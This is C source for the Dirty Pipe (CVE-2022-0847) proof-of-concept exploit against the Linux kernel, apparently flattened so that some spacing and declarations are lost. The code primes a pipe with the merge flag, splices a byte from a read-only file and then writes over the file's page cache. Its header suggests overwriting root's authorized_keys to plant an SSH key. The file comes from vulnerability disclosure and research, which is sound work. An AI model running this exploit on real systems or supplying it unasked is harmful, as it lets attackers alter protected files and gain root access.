/* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */
/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ staticvoidprepare_pipe(int p[2]) { if (pipe(p)) abort();
/* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; }
/* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; }
/* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */ }
/* open the input file and validate the specified offset */ constint fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; }
structstatst; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; }
if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE; }
if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE; }
/* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p);
/* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE; }
/* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE; }